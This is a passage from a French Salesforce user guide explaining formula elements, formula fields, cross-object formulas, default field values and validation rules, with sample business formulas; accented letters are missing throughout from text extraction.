multiplier le contenu du champ Montant par la valeur
littrale, savoir 0.02.
Le nombre littral, 0.02, qui reprsente le pourcentage de
commissionnement. Utilisez la valeur dcimale pour tous
les pourcentages. Pour inclure du texte pur dans la formule,
placez-le entre guillemets.
Dans cette formule, le dernier nombre 2 constitue l'entre
obligatoire pour la fonction ROUND et dtermine le
nombre de dcimales renvoyer.
Rfrence de champ

Rfrencez la valeur d'un autre champ standard ou

personnalis, l'aide d'un champ de fusion. La syntaxe

Personnaliser

Nom de l'lment

Guide de l'utilisateur | propos des formules | 424

Description
utiliser pour le champ de fusion est field_name pour un
champ standard ou field_name__c pour un champ
personnalis. La syntaxe utiliser pour un champ de fusion
sur un objet associ est object_name__r.field_name.
Utilisez le bouton Insrer un champ ou la liste droulante
pour insrer un champ de fusion dans la formule, si ncessaire.

Fonction

Oprateur

Commentaire

La formule, dfinie pour le systme, qui peut vous demander

de saisir une valeur et vous renvoie une ou des valeurs. Par
exemple, TODAY() ne ncessite pas d'entre mais renvoie la
date actuelle. La fonction TEXT(value) ncessite que vous
entriez le pourcentage, le nombre ou la devise, et renvoie du
texte.
Symbole prcisant le type de calcul effectuer, ou l'ordre du
calcul. Par exemple, le signe + commande l'addition de deux
valeurs. Les parenthses fermes et ouvertes indiquent les
expressions que vous voulez valuer en premier.
Une annotation dans une formule qui commence par une barre
oblique suivie d'un astrisque (/*) et se termine par un
astrisque suivi d'une barre oblique (*/). Par exemple,
/*Il s'agit d'un commentaire de formulaire*/

Salesforce.com ignore les commentaires lors du traitement

d'une formule.
Les commentaires permettent d'expliquer des parties
spcifiques d'une formule aux administrateurs qui examinent
sa dfinition. Par exemple :
AND( /*le champ concurrent est requis,
vrifiez s'il est vide */ LEN(Competitor__c)
= 0, /* rgle applique uniquement aux
types d'enregistrement ABCD */
$RecordType.Name = "ABCD Opportunity", /*
la vrification des statuts ferms, tels que
Close Gagne et Close Perdue, permet
d'utiliser ultrieurement des valeurs de
liste de slection supplmentaires */
CONTAINS(TEXT(StageName), "Close") )

Vous pouvez galement commenter des sections de votre

formule lors d'un dbogage et d'une vrification de syntaxe
pour dtecter les erreurs.

Personnaliser

Guide de l'utilisateur | propos des formules | 425

Nom de l'lment

Description
Remarque:

L'imbrication de commentaires entrane des erreurs

de syntaxe. Par exemple, vous ne pouvez pas
enregistrer une formule qui contient :
/* /* commentaire */ */

Commenter une formule entire entrane une

erreur de syntaxe.
Les commentaires sont comptabiliss dans les
limites de tailles en caractres et en octets des
formules.

Voir aussi :
laboration de formules
laboration de formules rcapitulatives personnalises

Formules : Comment faire pour...

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher les dtails d'un champ de formule :

Afficher la configuration

Pour crer, modifier ou supprimer des champs de formule :

Personnaliser l'application

Calculs mathmatiques courants

Additionner des nombres ?

Convertir du texte en nombre ?
Diviser des nombres ?
Multiplier des nombres ?
Arrondir des nombres ?
Soustraire des nombres ?

Fonctions de texte courantes

Vrifier si un champ contient un texte dfini ?

Vrifier si une liste de slection contient une valeur dfinie ?
Associer le nom et le prnom ?

Personnaliser

Guide de l'utilisateur | propos des formules | 426

Convertir des nombres en texte ?

Crer un champ de lien hypertexte ?

Formules rcapitulatives personnalises pour les rapports

Calculer la somme de toutes les pistes pour lesquelles les champs Dsinscription d'adresse e-mail et Ne pas appeler sont
slectionns ?
Calculer la diffrence dans tous les champs Montant et Montant aprs escompte des opportunits ?
Calculer l'ge moyen de toutes les opportunits ?
Calculer le pourcentage total d'opportunits closes/gagnes ?
Calculer le nombre d'utilisateurs actifs de Salesforce.com la puissance 2, pour l'administration ?
Calculer le produit de la dure de toutes les activits (minutes) par le nombre d'enregistrements sur 24 heures ?
Calculer la marge en pourcentage moyenne par produit dans plusieurs opportunits ?
Calculer le pourcentage d'un produit par rapport tous les produits dans les opportunits cltures ?
Calculer la modification mensuelle du chiffre d'affaires des opportunits ?

Utilisation de formules dans Salesforce.com

De nombreuses zones de Salesforce.com utilisent des formules. Avant de commencer utiliser des formules, passez en revue
les diffrentes situations o elle sont utilises :
Processus d'approbation
Dfinit les critres qu'un enregistrement doit remplir pour entamer un processus d'approbation
tapes d'approbation
Dfinit les critres qu'un enregistrement doit remplir pour entamer une tape d'un processus d'approbation
Rgles d'attribution pour les pistes et les requtes
Prcise les conditions dans lesquelles une piste ou une requte peut tre attribue
Rgles de rponse automatique pour les pistes et les requtes
Dfinit les critres auxquels doit satisfaire une piste ou requte pour dclencher une rgle de rponse automatique
Rgles d'escalade des requtes
Prcise les conditions dans lesquelles une requte peut tre hirarchise.
Valeurs de champ par dfaut
Permet d'insrer automatiquement une valeur dans un champ personnalis la cration initiale d'un enregistrement
Les utilisateurs peuvent modifier la valeur par dfaut s'ils le souhaitent. Les valeurs de champ par dfaut peuvent tre
bases sur une formule qui utilise les valeurs, les champs de fusion ou les expressions de votre choix.
Champs de formule
Permet de calculer automatiquement la valeur d'un champ personnalis l'aide des valeurs, champs de fusion ou expressions
de votre choix
Les utilisateurs ne peuvent pas modifier la valeur d'un champ de formule.
Rgles de validation
Empche les utilisateurs de saisir une valeur non valide dans un champ standard ou personnalis

Personnaliser

Guide de l'utilisateur | propos des formules | 427

Les rgles de validation peuvent tre bases sur des formules et afficher un message d'erreur destin l'utilisateur lorsque
la valeur saisie n'est pas valide pour le champ en question.
Rgles de Workflow
Dfinit les critres auxquels un enregistrement doit rpondre pour dclencher une rgle de workflow
Mises jour de champs
Permet de modifier automatiquement la valeur d'un champ pour lui appliquer la valeur de votre choix
Vous pouvez configurer les mises jour des champs afin qu'elles se produisent la suite d'une rgle de workflow ou d'un
processus d'approbation.
Formules rcapitulatives personnalises dans les rapports
Permet de calculer automatiquement les totaux supplmentaires partir des rcapitulatifs existants dans le rapport,
l'aide des valeurs, champs de fusion ou expressions de votre choix
Les utilisateurs ne peuvent pas modifier ces totaux.
Valeurs de
champ par
dfaut

Champs de
formule

Rgles de
validation

Rgles de
workflow et
processus
d'approbation

Mises jour de Formules

champs
rcapitulatives
personnalises
pour les
rapports

Moment
d'excution

Cration d'un
enregistrement

Affichage d'un
enregistrement

Sauvegarde d'un Sauvegarde d'un Workflow ou

enregistrement enregistrement processus
d'approbation

Affichage d'un
rapport

Lecture seule ?

Non

Oui

Sans objet

Sans objet

Sans objet

Oui

Possibilit
d'inclure des
fonctions ?

Oui

Oui

Oui

Oui

Oui

Oui, un
sous-ensemble
limit de
fonctions

Possibilit de
Non
spcifier la prise
en charge des
valeurs nulles ?

Oui

Non

Non

Non

Oui

Personnaliser

Guide de l'utilisateur | laboration de formules | 428

Possibilt
d'inclure des
rfrences pour
les champs
principaux de
fusion ?

Valeurs de
champ par
dfaut

Champs de
formule

Rgles de
validation

Rgles de
workflow et
processus
d'approbation

Mises jour de Formules

champs
rcapitulatives
personnalises
pour les
rapports

Non

Oui

Oui

Oui

Oui

Non

Voir aussi :
Dfinition des valeurs de champ par dfaut
laboration de formules
Dfinition des mises jour de champ
laboration de formules rcapitulatives personnalises

laboration de formules
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher les dtails d'un champ de formule :

Afficher la configuration

Pour crer, modifier ou supprimer des champs de formule :

Personnaliser l'application

Le champ de formule personnalis ncessite des attributs spcifiques. Pour laborer la formule :
1. laborez le champ de formule de la mme faon que vous crez un champ personnalis. Reportez-vous Ajout de champs
et de relations la page 391.
2. Slectionnez le type de donnes pour la formule. Slectionnez le type de donnes appropri pour la formule, en fonction
du rsultat du calcul. Reportez-vous Choix du type de donnes de la formule la page 422.
3. Slectionnez le nombre de dcimales pour les types de donnes devise, nombre ou pourcentage. Ce paramtre est ignor
pour les champs devise dans les entreprises multidevises. Le paramtre Dcimales s'applique en revanche votre devise.
4. Cliquez sur Suivant.
5. Pour laborer la formule :
a. Si vous laborez une formule dans l'onglet Formule avance pour des approbations ou des rgles, telles qu'un workflow,
une validation, une attribution, une rponse automatique ou une hirarchisation, cliquez sur Insrer un champ, choisissez
un champ, puis cliquez sur Insrer.

Personnaliser

Guide de l'utilisateur | laboration de formules | 429

Pour crer une formule de base qui transmet des donnes Salesforce.com spcifiques, slectionnez l'onglet Formule
simple, choisissez le type de champ dans la liste droulante Slectionner un type de champ, puis l'un des
champs de la liste droulante Insrer un champ.
Conseil: Les formules inter-objets gnres s'tendent des objets associs et rfrencent des champs de fusion
dans ces objets.
b. Pour insrer un oprateur, slectionnez l'icne d'oprateur approprie dans la liste droulante Insrer un oprateur.
Utilisez les exemples de la section Oprateurs et fonctions la page 475.
c. Vous pouvez galement cliquer sur l'onglet Formule avance pour utiliser des fonctions, afficher des oprateurs
supplmentaires et fusionner les champs. Ces fonctions sont des formules dj intgres que vous pouvez ensuite
personnaliser avec vos paramtres d'entre. Pour connatre la description de chaque oprateur/fonction, reportez-vous
Oprateurs et fonctions la page 475.
d. Pour insrer une fonction, double-cliquez sur son nom dans la liste, ou slectionnez-la et cliquez sur Insrer la fonction
slectionne. Pour filtrer la liste de fonctions, choisissez une catgorie dans la liste droulante Fonctions. Slectionnez
une fonction et cliquez sur Aide sur cette fonction pour lire sa description et consulter des exemples de formule faisant
appel cette fonction.
e. Pensez ajouter des commentaires votre formule, en particulier si elle est complexe. Les commentaires doivent
commencer par une barre oblique suivie d'un astrisque (/*) et se terminer par un astrisque suivi d'une barre oblique
(*/).
Les commentaires permettent d'expliquer des parties spcifiques d'une formule aux administrateurs qui examinent sa
dfinition. Par exemple :
AND( /*le champ concurrent est requis, vrifiez s'il est vide */ LEN(Competitor__c) =
0, /* rgle applique uniquement aux types d'enregistrement ABCD */ $RecordType.Name
= "ABCD Opportunity", /* la vrification des statuts ferms, tels que Close Gagne
et Close Perdue, permet d'utiliser ultrieurement des valeurs de liste de slection
supplmentaires */ CONTAINS(TEXT(StageName), "Close") )

Vous pouvez galement commenter des sections de votre formule lors d'un dbogage et d'une vrification de syntaxe
pour dtecter les erreurs.
Remarque:

L'imbrication de commentaires entrane des erreurs de syntaxe. Par exemple, vous ne pouvez pas enregistrer
une formule qui contient :
/* /* commentaire */ */

Commenter une formule entire entrane une erreur de syntaxe.

Les commentaires sont comptabiliss dans les limites de tailles en caractres et en octets des formules.

ATTENTION: Votre formule ne peut pas contenir plus de 3900 caractres.

6. Cliquez sur Vrifier la syntaxe pour vrifier qu'il n'y a pas d'erreur dans la formule.
7. Saisissez ventuellement une description de la formule dans la zone Description.

Personnaliser

Guide de l'utilisateur | laboration de formules | 430

8. Si la formule fait rfrence des champs nombre, devise ou pourcentage, slectionnez l'option Gestion des champs vides.
Pour attribuer la valeur 0 tous les champs vides, slectionnez l'option Traiter les champs vides comme contenant
des zros. Pour laisser ces champs vides, slectionnez Traiter les champs vides en tant que tels.
9. Cliquez sur Suivant.
10. Dans les ditions Enterprise Edition, Unlimited Edition et Developer Edition, configurez la scurit au niveau du champ
pour dterminer si le champ doit tre visible pour des profils spcifiques, puis cliquez sur Suivant.
11. Choisissez les prsentations de page qui doivent afficher ce champ. Le champ est ajout comme dernier champ de la
premire section deux colonnes de la prsentation de page. En ce qui concerne les champs personnaliss, le champ est
ajout automatiquement au bas de la page de dtails de l'utilisateur.
12. Cliquez sur Enregistrer pour terminer ou sur Enregistrer et Nouveau pour crer d'autres champs personnaliss.
Remarque: Comme le systme calcule automatiquement les champs de formule, ils sont en lecture seule dans les pages
de dtails des enregistrements et ne mettent pas jour les derniers champs de date modifis. Les pages de modification
n'affichent pas les champs de formule.
Dans les formules de compte, tous les champs des comptes professionnels sont disponibles en tant que champs de
fusion. Toutefois, certains champs de compte rservs aux comptes personnels, comme Date d'anniversaire et
E-mail, ne sont pas disponibles. Pour plus d'informations, reportez-vous Qu'est-ce qu'un compte personnel ? la
page 1048

Voir aussi :
propos des formules
Oprateurs et fonctions
lments d'une formule
Formules : Comment faire pour...
laboration de formules rcapitulatives personnalises
Rle des variables globales

Prsentation des formules inter-objets

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer ou modifier des formules inter-objets :

Personnaliser l'application

Les formules inter-objets sont des formules qui s'tendent des objets associs et rfrencent des champs fusionns dans ces
objets. Les formules inter-objets peuvent rfrencer des champs fusionns partir d'un objet principal (parent), si un objet
se trouve du ct dtail d'une relation principal-dtails, ou partir de l'objet, si une relation de recherche avec cet objet existe
dans l'objet actuel. Vous pouvez rfrencer des champs partir d'objets spars par cinq relations. Les formules inter-objets
sont disponibles partout o des formules sont utilises, sauf lors de la cration de valeurs par dfaut.
Pour crer une formule inter-objets lors de sa conception sous l'onglet Formule simple, saisissez les noms de relations des
objets auxquels vous tendez la formule, suivis du champ que vous souhaitez rfrencer. Sparez les noms de relation de chaque

Personnaliser

Guide de l'utilisateur | Dfinition des valeurs de champ par dfaut | 431

objet et le champ par des points. Par exemple, saisissez Contact.Compte.Nom pour rfrencer le Nom du compte d'un
contact associ une requte dans un champ de formule de l'objet Requte. Assurez-vous d'utiliser les noms de relation des
objets, pas les tiquettes. Bien que le nom de relation est souvent identique au nom de l'objet, il correspond techniquement
au nom du champ de relation. Par exemple, pour rfrencer le nom de compte parent de l'objet Compte, la syntaxe est
Parent.Nom, pas Compte.Nom. En outre, lors du rfrencement d'un objet personnalis, ajoutez deux traits de soulignement
et la lettre r son nom. Par exemple, Poste__r.title__c rfrence le champ Fonction (title__c) dans un objet
personnalis Poste.
Pour crer une formule inter-objets lors de sa conception sous l'onglet Formule avance, ou pour des approbations ou des
rgles telles que workflow, validation, attribution, rponse automatique ou rgles de hirarchisation, cliquez sur Insrer, puis
sur l'objet associ pour rpertorier ses champs. Les objets associs sont indiqus par un signe >.
Remarque: La valeur du champ de fusion Profil.Nom diffre en fonction du contexte du champ de la formule
inter-objets qui le rfrence. Dans les pages de dtails, la valeur est le nom du profil, comme attendu, mais dans les
vues de liste et les rapports, la valeur est la valeur interne du profil associ. Si vous utilisez la valeur Profil.Nom dans
une formule, utilisez-la dans une fonction OR pour vous assurer que la formule renvoie toujours le rsultat voulu. Par
exemple :
IF (OR (LastModifiedBy.Profil.Nom = "Utilisateur standard", LastModifiedBy.Profil.Nom
= "PT2"), "Standard", "Non standard")

Aucune des valeurs ci-dessus ne s'applique aux noms de profils rfrencs par la variable globale $Profile.

Voir aussi :
laboration de formules
Oprateurs et fonctions

Dfinition des valeurs de champ par dfaut

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher les valeurs de champ par dfaut :

Afficher la configuration

Pour dfinir ou modifier les valeurs de champ par dfaut :

Personnaliser l'application

Pour dfinir une valeur de champ par dfaut :

1. Commencez par crer un champ personnalis, reportez-vous Ajout de champs et de relations la page 391. Vous pouvez
galement dfinir la valeur par dfaut d'un champ personnalis existant (reportez-vous Modification des champs la page
401).
2. Choisissez le type de champ crer, puis cliquez sur Nouveau. Pour consulter la liste des types de valeur par dfaut
disponibles, reportez-vous propos des valeurs de champ par dfaut la page 432.
3. Entrez les attributs du champ.

Personnaliser

Guide de l'utilisateur | Dfinition des valeurs de champ par dfaut | 432

4. Entrez une valeur par dfaut ou dfinissez une formule pour calculer la valeur par dfaut :
a. Cliquez sur Afficher l'diteur de formules pour visualiser le gnrateur de formules.
b. Si vous laborez une formule sous l'onglet Formule avance, ou pour des approbations ou des rgles, telles qu'un
workflow, une validation, une attribution, une rponse automatique ou une hirarchisation, cliquez sur Insrer un
champ, choisissez un champ, puis cliquez sur Insrer.
Pour crer une formule de base qui transmet des donnes Salesforce.com spcifiques, slectionnez l'onglet Formule
simple, choisissez le type de champ dans la liste droulante Slectionner un type de champ, puis l'un des
champs de la liste droulante Insrer un champ.
Conseil: Les formules inter-objets gnres s'tendent des objets associs et rfrencent des champs de fusion
dans ces objets.
c. Pour insrer un oprateur, slectionnez l'icne d'oprateur approprie dans la liste droulante Insrer un oprateur.
Utilisez les exemples de la section Oprateurs et fonctions la page 475.
d. Double-cliquez sur une fonction pour l'insrer dans votre formule. Pour connatre la description de chaque
oprateur/fonction, reportez-vous Oprateurs et fonctions la page 475.
e. Cliquez sur Vrifier la syntaxe pour vrifier qu'il n'y a pas d'erreur dans la formule.
Remarque: Vous ne pouvez dfinir une formule pour les valeurs par dfaut que dans des cas bien prcis. Par
exemple, les options de valeur par dfaut pour les champs de liste de slection et de case cocher se limitent aux
options disponibles pour ces types de champ, soit : Coche, Non coche ou Utiliser la premire valeur
comme valeur par dfaut.
5. Cliquez sur Suivant.
6. Dans les ditions Enterprise Edition, Unlimited Edition et Developer Edition, configurez la scurit au niveau du champ
pour dterminer si le champ doit tre visible pour des profils spcifiques, puis cliquez sur Suivant.
7. Choisissez les prsentations de page qui doivent afficher ce champ. Le champ est ajout comme dernier champ de la
premire section deux colonnes de la prsentation de page. En ce qui concerne les champs personnaliss, le champ est
ajout automatiquement au bas de la page de dtails de l'utilisateur.
8. Cliquez sur Enregistrer pour terminer ou sur Enregistrer et Nouveau pour crer d'autres champs personnaliss.

Voir aussi :
propos des valeurs de champ par dfaut
Observations sur les valeurs de champ par dfaut
Formules de valeur de champ par dfaut utiles

propos des valeurs de champ par dfaut

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Utilisez les valeurs de champ par dfaut pour accrotre la productivit des utilisateurs, en rduisant le nombre de champs
remplir manuellement. Les valeurs de champ par dfaut insrent automatiquement la valeur d'un champ personnalis lors de

Personnaliser

Guide de l'utilisateur | Dfinition des valeurs de champ par dfaut | 433

la cration d'un enregistrement. Une valeur par dfaut peut reposer sur une formule pour certains types de champ, ou sur des
valeurs exactes comme Coche ou Non coche pour les champs de case cocher.
Une fois que vous avez dfini les valeurs par dfaut :
1.
2.
3.
4.
5.

L'utilisateur choisit de crer un enregistrement.

La valeur de champ par dfaut est excute.
Salesforce.com affiche la page de modification avec la valeur par dfaut prrenseigne.
L'utilisateur saisit les champs du nouvel enregistrement.
L'utilisateur enregistre le nouvel enregistrement.

L'utilisateur peut modifier la valeur du champ mais la valeur par dfaut d'origine n'est excute qu'une fois, lors de la cration
de l'enregistrement. Par exemple, vous pouvez dfinir la valeur de champ par dfaut sur un champ de piste personnalis jusqu'
sept jours aprs la date de cration, afin de prciser quelle date reprendre contact avec la piste. Vous pouvez modifier cette
valeur ultrieurement, mais vous ne pouvez pas restaurer automatiquement la valeur correspondant sept jours aprs la date
de cration.
Configurez les valeurs de champ par dfaut pour les types de champ personnalis suivants :

Case cocher
Devise
Date
Date/heure
E-mail
Numro
Pourcentage
Tlphone
Liste de slection (utilisez l'option par dfaut lors de la configuration de la liste de slection)
Texte
Zone de texte
URL

Voir aussi :
Dfinition des valeurs de champ par dfaut
Observations sur les valeurs de champ par dfaut
Formules de valeur de champ par dfaut utiles

Personnaliser

Guide de l'utilisateur | Dfinition des valeurs de champ par dfaut | 434

Formules de valeur de champ par dfaut utiles

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher les valeurs de champ par dfaut :

Afficher la configuration

Pour dfinir ou modifier les valeurs de champ par dfaut :

Personnaliser l'application

Taux de remise maximum

Votre entreprise peut appliquer diffrents taux de remise aux opportunits selon le dpartement dans lequel travaille la personne
qui les cre. Utilisez l'exemple suivant afin de dfinir une valeur par dfaut pour un champ personnalis, nomm Taux de
remise, sur les opportunits.
CASE(User.Department, "Informatique", 0,25, "Sur site", 0,15, 0)

Dans cet exemple, la formule insre un taux de remise de 25 % sur toutes les opportunits cres par un utilisateur du service
informatique, ou de 15 % sur toutes les opportunits cres par un utilisateur du service sur site. Si le crateur ne fait pas partie
de l'un de ces services, un zro est appliqu. Il s'agit d'un champ de pourcentage personnalis sur les opportunits, qui utilise
le champ d'utilisateur standard Department (service).
Pour plus d'informations sur l'utilisation de cette fonction, reportez-vous Requte la page 509.
Langue du produit
Vous pouvez souhaiter associer un produit sa langue, afin que vos utilisateurs sachent quel type de documentation ou
d'adaptateur inclure. Utilisez la formule de valeur par dfaut suivante pour dfinir automatiquement la langue d'un produit
selon le pays de l'utilisateur qui cre le produit. Dans cet exemple, la valeur par dfaut est Japonais si le pays de l'utilisateur
est Japon et Anglais si le pays de l'utilisateur est tats-Unis . Si aucune de ces valeurs n'est vraie, la valeur par dfaut
inconnu est insre dans le champ Langue du produit.
CASE( $User.Country , "Japon", "Japonais", "tats-Unis", "Anglais","inconnu")

Pour plus d'informations sur l'utilisation de cette fonction, reportez-vous Requte la page 509.
Taux d'imposition
Utilisez cette formule de valeur par dfaut pour dfinir le taux d'imposition sur un actif en fonction de la ville de l'utilisateur.
Crez un champ de pourcentage personnalis avec les valeurs par dfaut suivantes :
IF($User.City = "Napa", 0.0750, IF($User.City = "Paso Robles", 0.0725, IF($User.City =
"Sutter Creek", 0.0725, IF($User.City = "Los Olivos", 0.0750, IF($User.City = "Livermore",
0.0875, null ) ) ) ) )

Dans cet exemple, un taux d'imposition de 8,75 % est appliqu un actif lorsque l'utilisateur rside dans la ville de Livermore.
Lorsque aucune des villes rpertories ne s'applique, le champ Taux d'imposition est vide. Vous pouvez galement utiliser

Personnaliser

Guide de l'utilisateur | Dfinition des valeurs de champ par dfaut | 435

le champ Taux d'imposition dans des formules pour calculer automatiquement les sommes imposables et les prix de vente
finaux.

Voir aussi :
Dfinition des valeurs de champ par dfaut
Observations sur les valeurs de champ par dfaut
propos des valeurs de champ par dfaut

Observations sur les valeurs de champ par dfaut

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Les valeurs de champ par dfaut insrent automatiquement la valeur d'un champ personnalis lors de la cration d'un
enregistrement. Une valeur par dfaut peut reposer sur une formule pour certains types de champ, ou sur des valeurs exactes
comme Coche ou Non coche pour les champs de case cocher. Passez les observations suivantes en revue avant d'intgrer
des valeurs de champ par dfaut dans votre entreprise.

Si une valeur par dfaut repose sur la valeur d'un champ de fusion, Salesforce.com utilise la valeur du champ de fusion lors
de l'excution de la valeur par dfaut. Si la valeur du champ de fusion est par la suite modifie, la valeur par dfaut n'est
pas mise jour.
Les utilisateurs peuvent modifier ou supprimer la valeur de champ par dfaut d'un enregistrement.
Vous ne devez pas attribuer de valeur par dfaut aux champs la fois obligatoires et uniques. Vous risqueriez de provoquer
des erreurs d'unicit.
Pour qu'un champ d'activit personnalis devienne un champ universellement requis, vous devez galement saisir une valeur
par dfaut.
Si un champ personnalis d'activit est unique, vous ne pouvez pas lui attribuer une valeur par dfaut.
Les aspects suivants distinguent les valeurs de champ par dfaut des champs de formule : Elles ne s'excutent qu'une seule
fois, la cration de l'enregistrement. Elles ne sont pas en lecture seule et l'utilisateur peut en modifier la valeur, mais ne
peut pas restaurer la valeur de champ par dfaut.
La valeur par dfaut tant insre avant que les utilisateurs saisissent des valeurs dans le nouvel enregistrement, vous ne
pouvez pas utiliser les champs dans l'enregistrement en cours pour crer une valeur de champ par dfaut. Par exemple, vous
ne pouvez pas crer pour un contact une valeur de champ par dfaut qui utilise l'initiale du prnom et le nom car ces valeurs
ne sont pas disponibles lorsque vous cliquez sur New pour crer un enregistrement de contact. Nanmoins, vous pouvez
utiliser le type d'enregistrement car il est slectionn avant affichage de la page de modification de l'enregistrement.
Afin d'appliquer une valeur par dfaut diffrente pour chaque type d'enregistrement, utilisez le type d'enregistrement
comme champ de fusion dans une fonction CASE, lors de la configuration de la valeur de champ par dfaut.
Les champs que l'utilisateur ne peut pas voir en raison de la scurit au niveau du champ sont toujours disponibles dans la
formule pour une valeur de champ par dfaut.
Connect Offline et Connect pour Outlook n'affichent pas de valeurs par dfaut. En revanche, Salesforce.com insre les
valeurs par dfaut en cas de synchronisation lance par l'utilisateur, sauf s'il a saisi de valeur.
Les valeurs de champ par dfaut ne sont pas disponibles sur le portail libre-service.
Les valeurs de champ par dfaut ne sont pas excutes par la conversion des pistes, la fonction Web vers piste et la fonction
Web vers requte.

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Guide de l'utilisateur | Gestion des rgles de validation | 436

Remarque: Vous ne pouvez dfinir une formule pour les valeurs par dfaut que dans des cas bien prcis. Par exemple,
les options de valeur par dfaut pour les champs de liste de slection et de case cocher se limitent aux options disponibles
pour ces types de champ, soit : Coche, Non coche ou Utiliser la premire valeur comme valeur
par dfaut.

Voir aussi :
Dfinition des valeurs de champ par dfaut
propos des valeurs de champ par dfaut
Formules de valeur de champ par dfaut utiles

Gestion des rgles de validation

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher les rgles de validation de champ :

Afficher la configuration

Pour dfinir ou modifier des rgles de validation de champ :

Personnaliser l'application

Avant que l'utilisateur puisse enregistrer l'enregistrement, les rgles de validation vrifient que les donnes entres par l'utilisateur
dans l'enregistrement respectent les normes spcifies. Les rgles de validation peuvent contenir une formule ou une expression
qui value les donnes dans un ou plusieurs champs et renvoie la valeur Vrai ou Faux. Les rgles de validation incluent galement
le message d'erreur afficher lorsque la rgle renvoie la valeur TRUE (vrai) en raison d'une valeur incorrecte.
Pour commencer utiliser les rgles de validation, cliquez sur Configuration Personnaliser, slectionnez le lien d'activit,
d'objet standard ou d'utilisateur appropri dans le menu, puis cliquez sur Rgles de validation. Pour les objets personnaliss,
cliquez sur Configuration Crer Objets et slectionnez l'objet personnalis. Les rgles de validation sont rpertories
dans la liste associe Rgles de validation. Pour crer une rgle de validation destine au champ Commentaires dans Salesforce
CRM Ideas, cliquez sur Configuration Personnalisation Ides Commenter les rgles de validation.

Pour dfinir une rgle de validation, cliquez sur Nouveau. Reportez-vous Dfinition des rgles de validation la page
438.
Pour modifier une rgle de validation, cliquez sur Modifier.
Pour supprimer une rgle de validation, cliquez sur Del.
Pour afficher les dtails d'une rgle de validation, cliquez sur le nom de la validation de champ.
Pour cloner une rgle de validation, slectionnez-la et cliquez sur Clone.

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Guide de l'utilisateur | Gestion des rgles de validation | 437

Pour activer une rgle de validation, cliquez sur Modifier en regard de la rgle activer, slectionnez Actif et cliquez sur
Enregistrer. Dslectionnez Active pour dsactiver la rgle.

Voir aussi :
propos des rgles de validation
Exemples de rgles de validation

propos des rgles de validation

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Amliorez la qualit de vos donnes l'aide des rgles de validation. Avant que l'utilisateur puisse enregistrer l'enregistrement,
les rgles de validation vrifient que les donnes entres par l'utilisateur dans l'enregistrement respectent les normes spcifies.
Les rgles de validation peuvent contenir une formule ou une expression qui value les donnes dans un ou plusieurs champs
et renvoie la valeur Vrai ou Faux. Les rgles de validation incluent galement le message d'erreur afficher lorsque la rgle
renvoie la valeur TRUE (vrai) en raison d'une valeur incorrecte.
Une fois que vous avez dfini les rgles de validation :
1. L'utilisateur choisit de crer un enregistrement ou de modifier un enregistrement existant.
2. L'utilisateur clique sur Enregistrer.
3. Salesforce.com excute toutes les rgles de validation.

Si toutes les donnes sont valides, Salesforce.com sauvegarde l'enregistrement.

Si certaines donnes ne sont pas valides, Salesforce.com affiche le message d'erreur associ sans sauvegarder
l'enregistrement.

4. L'utilisateur procde aux modifications ncessaires et clique de nouveau sur Enregistrer.

Vous pouvez dfinir le message d'erreur afficher et l'emplacement o il s'affiche quand un enregistrement choue lors de la
validation. Par exemple, votre message d'erreur peut tre le suivant : La date de clture doit tre ultrieure la date du jour.
Vous pouvez choisir de l'afficher proximit d'un champ ou en haut de la page. Comme tous les messages d'erreur
Salesforce.com, les erreurs de rgle de validation s'affichent en lettres rouges et sont prcdes par le mot Erreur .
Important: Les rgles de validation s'appliquent tous les enregistrements nouveaux et mis jour pour un objet,
mme si les champs rfrencs dans la rgle de validation ne sont pas inclus dans une prsentation de page ou dans
un appel d'API. Si votre organisation possde plusieurs prsentations de page pour l'objet dans lequel vous crez une
rgle de validation, vrifiez que la rgle de validation fonctionne correctement sur chaque prsentation. Si votre
organisation possde des intgrations qui utilisent cet objet, vrifiez que la rgle de validation fonctionne correctement
sur chaque intgration.

Voir aussi :
Dfinition des rgles de validation
Exemples de rgles de validation

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Guide de l'utilisateur | Gestion des rgles de validation | 438

Dfinition des rgles de validation

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher les rgles de validation de champ :

Afficher la configuration

Pour dfinir ou modifier des rgles de validation de champ :

Personnaliser l'application

Avant que l'utilisateur puisse enregistrer l'enregistrement, les rgles de validation vrifient que les donnes entres par l'utilisateur
dans l'enregistrement respectent les normes spcifies. Les rgles de validation peuvent contenir une formule ou une expression
qui value les donnes dans un ou plusieurs champs et renvoie la valeur Vrai ou Faux. Les rgles de validation incluent galement
le message d'erreur afficher lorsque la rgle renvoie la valeur TRUE (vrai) en raison d'une valeur incorrecte.
Avant de crer des rgles de validation, lisez lesobservations relatives aux rgles de validation la page 465.
Pour crer des rgles de validation :
1. Pour les objets standard, cliquez sur Configuration Personnaliser, choisissez le lien d'activit, d'onglet ou d'utilisateur
appropri, puis cliquez sur Rgles de validation.
Pour les objets personnaliss, cliquez sur Configuration Crer Objets et slectionnez l'objet personnalis.
Pour crer une rgle de validation destine au champ Commentaires dans Salesforce CRM Ideas, cliquez sur Configuration
Personnalisation Ides Commenter les rgles de validation.
Pour crer des rgles de validation pour des membres de campagne, cliquez sur Configuration Personnalisation
Campagnes Membre de campagne Rgles de validation.
2. Cliquez sur Nouveau dans la liste associe Rgles de validation.
3. Saisissez les proprits de la rgle de validation :
Champ

Description

Nom de rgle

Identifiant unique compos de 80 caractres au maximum, sans espaces ni caractres

spciaux, tels que les caractres tendus.

Actif

Case cocher qui indique si la rgle est active.

Description

Destin uniquement une utilisation en interne. Utilisez ce champ pour saisir une
